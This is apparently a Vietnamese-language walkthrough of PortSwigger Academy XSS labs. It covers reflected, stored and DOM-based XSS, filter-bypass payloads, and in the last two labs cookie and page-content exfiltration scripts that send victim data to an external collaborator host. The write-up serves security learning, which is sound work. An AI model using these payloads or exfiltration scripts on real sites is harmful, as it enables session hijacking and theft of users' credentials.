## 1. Lab: Reflected XSS into HTML context with nothing encoded
Đây là một trang blog có tính năng `search` tìm kiếm

và tại mỗi post cho phép người đọc bình luận

----
Bắt đầu với tính năng search.

khi không tìm thấy bài post chứa từ khóa tìm kiếm, trang web đã trả về nội dung chứa cả input của ta.
-> Khả năng ở đấy sẽ tồn tại lỗ hổng reflected xss
Trước hết ta sẽ thử xem trang web có xử lý html hay không.

> `<h1>aaa</h1>` - confirm có xử lý html
-> vậy thay vì thẻ `<h1>` lần này ta sẽ sử dụng thẻ `<script>` để thực thi javascript


## 2. Lab: Stored XSS into HTML context with nothing encoded
Lab thứ hai có vẻ là về stored xss, ta sẽ tập trung vào phần bình luận
có vẻ chỉ có thể truyền input tùy ý ở hai trường `comment` và `name`

Tiếp tục thử từ các thẻ header

-> Tại trường `comment` đã xử lý html. tiếp tục thử với payload xss

Vậy là payload của ta đã được lưu lại trong database, mỗi khi có người dùng truy cập bài post đó xss sẽ tự động được thực thi

## 3. Lab: DOM XSS in `document.write` sink using source `location.search`
Thuộc tính `location.search` trong javascript khi được gọi sẽ trả về phần querystring trong url.


Trở về với bài lab, tại đây có tính năng tìm kiếm
Thử inspect source và `Ctrl + F` lượt qua hết các từ khóa "script" ta tìm được phần xử lý dom

đoạn script xử lý:
- Biến query lấy giá trị của param `search` qua hàm `URLSearchParams()`
- Nếu biến query khác rỗng thì gọi hàm trackSearch(), sử dụng `document.write` ghi nội dung:
-> ở đây có sink `document.write` sẽ ghi đề data vào trang web.
-> source `location.search` - input đầu vào tại param `search`
```javascript!
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
```
payload
```
"> <img onerror=alert(1) src="aaa
```


## 4. Lab: DOM XSS in `innerHTML` sink using source `location.search`
```javascript!
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
```
- source là `location.search` - input đầu vào tại param 'search'
- sink là `innerHTML` cho phép ghi vào html
Tại document của `innerHTML` có nói

> https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML
Vậy là với innerHTML thẻ `script` sẽ không được thực thi. nhưng ta vẫn có thể sử dụng những thẻ khác như `img`
```
<img src=x onerror=alert(1)>
```


## 5. Lab: DOM XSS in jQuery anchor `href` attribute sink using location.search source
```javascript!
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
```
hàm thực hiện đọc nội dung của param `returnPath` tạo attribute 'href' cho backlink

ví dụ khi truyền cho param `returnPath` giá trị 'aaa'
tại backlink sẽ có giá trị la

Mỗi khi nhấn vào 'back link' đó ta sẽ dduocj redirect sang `*.web-security-academy.net/aaa`
-> vậy có thể truyền vào `javascript:` protocol để chèn trực tiếp code js
```
?returnPath=javascript:alert(1)
```


```
?returnPath=javascript:alert(document.cookie)
```

## 6. Lab: DOM XSS in jQuery selector sink using a hashchange event
```
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.
```
Inspect F12 tìm được phần script xử lý sau:

Có thể thấy được
- source: `(window.location.hash` nhận giá trị là chuỗi url phần đằng sau dấu `#`
- sink: `$()` selector
```javascript!
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
```
ở đây jQuery selector sẽ thực hiện tìm kiếm tại section.blog-list những thẻ `h2` có chứa chuỗi input đã nhập.
về jQuery `$()` selector:
- khi tìm kiếm một chuỗi ví dụ `blabla`, nó sẽ trả về Object với length bằng 0. tức là không có thẻ h2 nào như thế
- tuy nhiên khi truyền vào input là html `<h1>blabla</h1>`. nó lại tạo ra một element mới trong DOM

- thử đổi sang thẻ `img`

Vậy là ta đã có thể trigger xss, vấn đề còn lại là phải chuyển nó đến victim
Để script có thể thực thi thì event `onhashchange` phải được kích hoạt,
vậy có thể sử dụng event onload để thực hiện thay đổi `src` lần nữa sau khi trang web đã được load.
```
<iframe src="https://0a9800a603df0a5880f3e41900720095.web-security-academy.net#aaa" onload="this.src+='<img src=1 onerror=alert(1)>'"> aaa</iframe>
```

có option `view exploit` để kiểm tra xem payload có hoạt động không

cuối cùng `deliver exploit` và bài lab đã được hoàn thành

>**NOTE**: Những phiên bản mới đã được vá: tại `location.hash` jQuery selector sẽ không cho phép html nữa
```!
Important to note is that the vulnerable code above with $(location.hash) above is not vulnerable anymore with recent versions of JQuery because an extra rule was added that selectors starting with # are not allowed to have HTML
```
## 7. Lab: Reflected XSS into attribute with angle brackets HTML-encoded

input bị 'reflected' tại chức năng tìm kiếm.

Tuy nhiên `<>` đã bị html encode nên không thể chèn tag mới

Nhưng `" '` khi thử nhiều ký tự đặc biệt thì phát hiện `" ' ` không bị escaped

-> vậy có thể thoát khỏi context hiện tại với dấu nháy `""` và thử xss ngay trong tag `input` này
payload
```
aaa" autofocus onfocus=alert() x="
```
khi đó sẽ có dạng



## 8. Lab: Stored XSS into anchor `href` attribute with double quotes HTML-encoded
tiêps tục là một form bình luận

có vẻ username và message đều không thể sử dụng. nhưng tại phần username được in đậm link tới website mà ta nhập `http://a.com`

biến `website` được lưu tại thẻ `<a>`

Có vẻ như ta sẽ không thể thoát khỏi được attribute hiện tai để chèn xss tại tag mới


-> tuy nhiên với href ta có thể sử dụng `javascript:` protocol để thưc thi code

Như vậy mỗi khi click vào 
có người click vào username xss sẽ được kích hoạt.

## 9. Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
Tiếp tục nội dung vẫn được reflect tại xss

- context hiện tại nằm trong block `script` - thực thi xử lý js code
- những gì ta nhập vào được gán cho biến `searchTerms`
-> vậy khi truyền payload
```
?search=aaa' + alert() + 'bbb
```
tại block script sau khi server phản hồi lại sẽ trở thành
```javascript!
<script>
var searchTerms = 'aaa' - alert(1) - 'bbb'
</script>
```
Bởi vì javascript nó coi những cái kia là phép toán trừ thông thường nên syntax kia vẫn hợp lệ,
js vẫn sẽ thực thi hàm `alert()` và lấy kết quả trả về để tính toán và gán giá trị cho biến `searchTerms`



## 10. Lab: DOM XSS in `document.write` sink using source `location.search` inside a select element
Một shop có chức năng check stock

F12 tìm kiếm các script js ta sẽ tìm được
```javascript!
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
```

- `location.search` sẽ đọc giá trị của param `storeId` và ghi theo dạng
- ở đây có sink nguy hiểm là `document.write` - cho phép ghi nội dung html lên trang web. Nó sẽ parse html ngay trong quá trình xử lý, tại [document](https://developer.mozilla.org/en-US/docs/Web/API/Document/write#notes) cũng đã đề cập

- Vậy ta chỉ cần payload đơn giản
```
<script>alert()</script>
```


## 11. Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
Khi inspect trang web ta thấy

Vậy có thể `{{}}` có hoạt động

Tiếp theo mình cần tìm cách để gọi các hàm trong javascript với AngularJS
payload
```
{{ $new.constructor('alert()')() }}
```
> https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/5%20-%20XSS%20in%20Angular.md


## 12. Lab: Reflected DOM XSS
Tại chức nagnw tìm kiếm có phản hồi lại nội dung ta tìm kiếm

Nhưng khi kiểm tra burpsuite response trả về lại khác, chỉ có một cái json trả về thông tin trong database và `searchTerm` - là nội dung mà ta nhập.

sau khi Inspect ở browser ta thấy `searchResult.js` xử lý kết quả và xử lý lại nội dung
Trong đó đáng chú ý có hàm `eval()` được gọi

-> vậy có thể sẽ khai thác vào hàm eval() này để thực thi javascript.
----
Mục tiêu của ta sẽ là escape khỏi context hiện tại để có thể chèn mã javascript vào mà vẫn đảm bảo syntax
Tại hàm eval() khi ta tìm kiếm chuỗi `aaa` sẽ có dạng

- để thoát khỏi lệnh khai báo biến `searchResultsObj` ta sẽ cần tới dấu nháy `""`
- Dấu nháy đã được escape ở phía server nhưng đáng chú ý là những ký tự đặc biệt khác lại không bị escape

Chính nhờ điều này nên ta sẽ có thể bypass với `\"` -> sau khi được server xử lý sẽ trở thành `\\"` - dấu nháy đã thoát được khỏi escape `\`
- Payload
```
?search=\";alert();//
```
Phía javascript sẽ parse thành

Vậy là đã có thể gọi hàm alert() trong khi vẫn giữ được syntax hợp lệ


## 13. Lab: Stored DOM XSS
Trở lại với form bình luận


- chuỗi `aaa` mà ta nhập có thể thấy qua devtools nhưng khi view source lại không có đâu.
- và khi gửi request qua burpsuite không thể tìm thấy chuỗi `aaa` đã bình luận
- 
- có thể đã có javascript xử lý thêm ở phía client
-> dấu hiệu DOM based xss
----

Tiếp tục phân tích file `.js` trên, có thể thấy trang web hiển thị comment bằng cách gửi request `GET /post/comment` để lấy dữ liệu từ database
```javascript!
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
```

Đáng chú ý có hàm `escapeHTML()`
```
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
```
sink tại `innerHTML` - nhưng cần bypass hàm `escapeHTML`

- có thể thấy nó escape hai ký tự `<>` sử dụng hàm `replace()` - và tham số thứ nhất ở đây là một chuỗi - sẽ chỉ replace lần đầu tiên match. điều này tại document cũng có đề cập đến
>https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace


- Vậy nếu ta chèn payload nhiều hơn một lần ví dụ `<1> <2>` - thì cặp dấu thứ 2 trở đi `<2>` sẽ bị bỏ sót.


-> payload:
```
<><img src=x onerror=alert()>
```


## 14. Lab: Reflected XSS into HTML context with most tags and attributes blocked


Mục tiêu ở bài này khá rõ ràng đó là ta phải tìm được thẻ không bị blacklist để xss
Tại portswigger cheatsheets có liệt kê tags và events rất tiện để copy

> https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Flow sẽ là:
- tìm tags có thể sử dụng
- tìm các event có thể sử dụng
- cuối cùng từ những tag, event không bị blacklist này để build payload xss với portswigger cheatsheets
Kết quả những tags có thể dùng là: `body` `custom...`

Tương tự với các events có thể dùng:

Trong số những event trên, có `oncontentvisibilityautostatechange`, `onresize` không cần tới tương tác của user
>- oncontentvisibilityautostatechange: Fires on all tags when content-visibility is set to auto
>- onresize: Fires when the window is resized - khi cửa sổ trình duyệt bị resize
- với event `oncontentvisibilityautostatechange`:


Thử kiểm tra payload trước khi đưa tới cho nạn nhân


Nhưng khi gửi payload cho victim thì lại không được

----
- Với event `onresize`
```
<body onresize="alert()">
```

XSS được gọi khi resize cửa sổ.
Vấn đề còn lại là phải đưa payload tới cho victim: ta tiếp tục sử dụng thẻ `iframe`
```
<iframe src="https://0aca00d703e72953809a031900b10026.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E">
// https://0aca00d703e72953809a031900b10026.web-security-academy.net/?search=<body onresize="print()">
```
Và để việc resize tự động kích hoạt - ta sử dụng event `onload`, đặt `onload` event cho thẻ `iframe`
```
onload=this.style.width='100px'
```


## 15. Lab: Reflected XSS into HTML context with all tags blocked except custom ones
```
To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.
```
Lần này chỉ có mỗi thẻ custom là không bị blacklist. Nhưng may mắn là khoogn có attributes nào bị cấm

-> với custom tag có autofocus có thể sử dụng


tuy nhiên lần này thẻ iframe không còn sử dụng được nữa

-> đó là bởi vì bài lab này đã được cấu hình chỉ cho phép nhúng frame với "same-origin" - chỉ những thẻ frame trên trang web đó mới có quyền nhúng.

- Tham khảo cheatsheets [này](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss#exploitation) ngoài thẻ frame còn có thể dùng header location để điều hướng victim

- payload:
```
<script>
location = "https://0acc004603a41d558161de76007b003e.web-security-academy.net/?search=%3Cxss+id%3D1+tabindex%3D1+onfocus%3Dalert(document.cookie)%3Eaaa%3C%2Fxss%3E#1"
</script>
```

## 16. Lab: Reflected XSS with some SVG markup allowed
```
This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.
To solve the lab, perform a cross-site scripting attack that calls the alert() function.
```
Ở bài lab này event có thể sử dụng với thẻ svg chỉ có `onbegin`

> onbegin: Fires when a svg animation begins - event được kích hoạt khi có hoạt ảnh bắt đầu
Tham khảo tại cheatsheets ta biết được có một payload phù hợp



## 17. Lab: Reflected XSS in canonical link tag
```
This lab reflects user input in a canonical link tag and escapes angle brackets.
To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.
```
canonical link tag - được sử dụng nhằm khai báo cho search engine biết được "đây là link bị duplicate - truy cập url gốc tại `href=....`"
Nhằm mục đích tối ưu SEO...

-> ta sẽ inject vào url để thoát khỏi dấu nháy và xss với attribute mới
Tại portswigger cheatsheet:

Tuy nhiên trong url dấu cách ` ` bị encode thành `%20` khiến syntax bị lỗi

Nhưng giữa các attribute có thể không cần khoảng trắng ngăn cách mà vẫn hợp lệ

-> payload:
```
<link rel="canonical" href='https://0a5d00b903b0aeb580b00d74008e002f.web-security-academy.net/post?postId=5&xss=aaa'accesskey='X'onclick='alert()'/>
```


## 18. Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

input ta nhập vào được gán cho biến `searchTerms` ngay trong block script.
-> vậy nếu có thể thoát khỏi phần khai báo biến ta sẽ thực thi được code js
Nếu payload là: `foo' - alert() - 'bar` thì khi đưa vào context nó lại trở thành
```
var searchTerms = 'foo' - alert() - 'bar';
```
> ->javascript sẽ "evaluate" hàm alert() để lấy giá trị trả về trước rồi mới thực hiện tính toán giá trị cho biến searchTerms
Tuy nhiên dấu nháy cần thiết để khai thác đã bị server escape mất.


Sau một hồi thử nghiệm mình phát hiện rằng `<>` không bị xử lý.

-> vậy ta có thể thử chèn tag mới trực tiếp vô?

> confirm ở đây đã có lỗi trong xử lý
thẻ `</script>` ta nhập đã đóng lại block code khiến cho phần code phía sau đó (`document.write`) bị đẩy ra ngoài và browser coi như chuỗi thường

-> vậy payload sẽ là `</script> <script>alert()</script>`


## 19. Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

Lần này các ký tự đã bị xử lý
```
< > -> < >
"" -> "
'' -> \'
```
-> Dấu nháy đơn bị escape nhưng `/ \` lại không bị xử lý
-> payload:
```
\'-alert()//
```
- `\'` để bypass escape dáu nháy
- `//` để comment xóa những dòng phía sau


## 20. Lab: Stored XSS into `onclick` event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
Trở lại với form bình luận và stored xss


- để ý được phần `user.website` được đặt trong event `onclick` xử lý được javascript
- Tại bài này các ký tự được xử lý giống bài trước, bổ sung thêm backslash
```
\ -> \\
```
----
Khi thực thi js trong các event attribute - html được tự động decode


> ``a`` là 'a' khi được html encode (hex entities)
- Nếu những html entity được đặt ở vị trí thường thì


Vậy payload sẽ là
```
http://');alert();//
```

sau khi được browser xử lý payload đã trở thành


----
**NOTE**
Có thể encode HTML tại các attributes


- https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html
- https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
## 21. Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped


> https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html#template-literals-

```
${alert()}
```

## 22. Lab: Exploiting cross-site scripting to steal cookies
```
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.
```







> https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html#retrieve-cookies

```
?c=secret=tg1S6DqqJCwB8U7j3fhvLUT7s3yEcR7s;%20session=KRphb9yF7CQjh2CqenieaxHvhTCCO1ob
```


## 23. Lab: Exploiting cross-site scripting to capture passwords
```
To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.
```
-> steal page content of admin: `GET /my-account`
---




```javascript
<script>
function exfil_page_content(url) {
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("https://1y0bmiizgczzof5c211276iqchi867uw.oastify.com?content="+ encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
}
</script>
<script> exfil_page_content("https://0abc00a0038493b180740d9c0078008d.web-security-academy.net/my-account") </script>
```
> https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html#steal-page-content

```htmlembedded!
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>Exploiting cross-site scripting to capture passwords</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Exploiting cross-site scripting to capture passwords</h2>
<a class=link-back href='https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<h1>Login</h1>
<section>
<form class=login-form method=POST action="/login">
<input required type="hidden" name="csrf" value="JY6OkRqdSXYtkug2YijOLxyaFvyWZC9u">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
</form>
</section>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
```

----
```javascript!
<script>
new Image().src="http://1y0bmiizgczzof5c211276iqchi867uw.oastify.com/?c="+encodeURI(document.cookie);
</script>
```

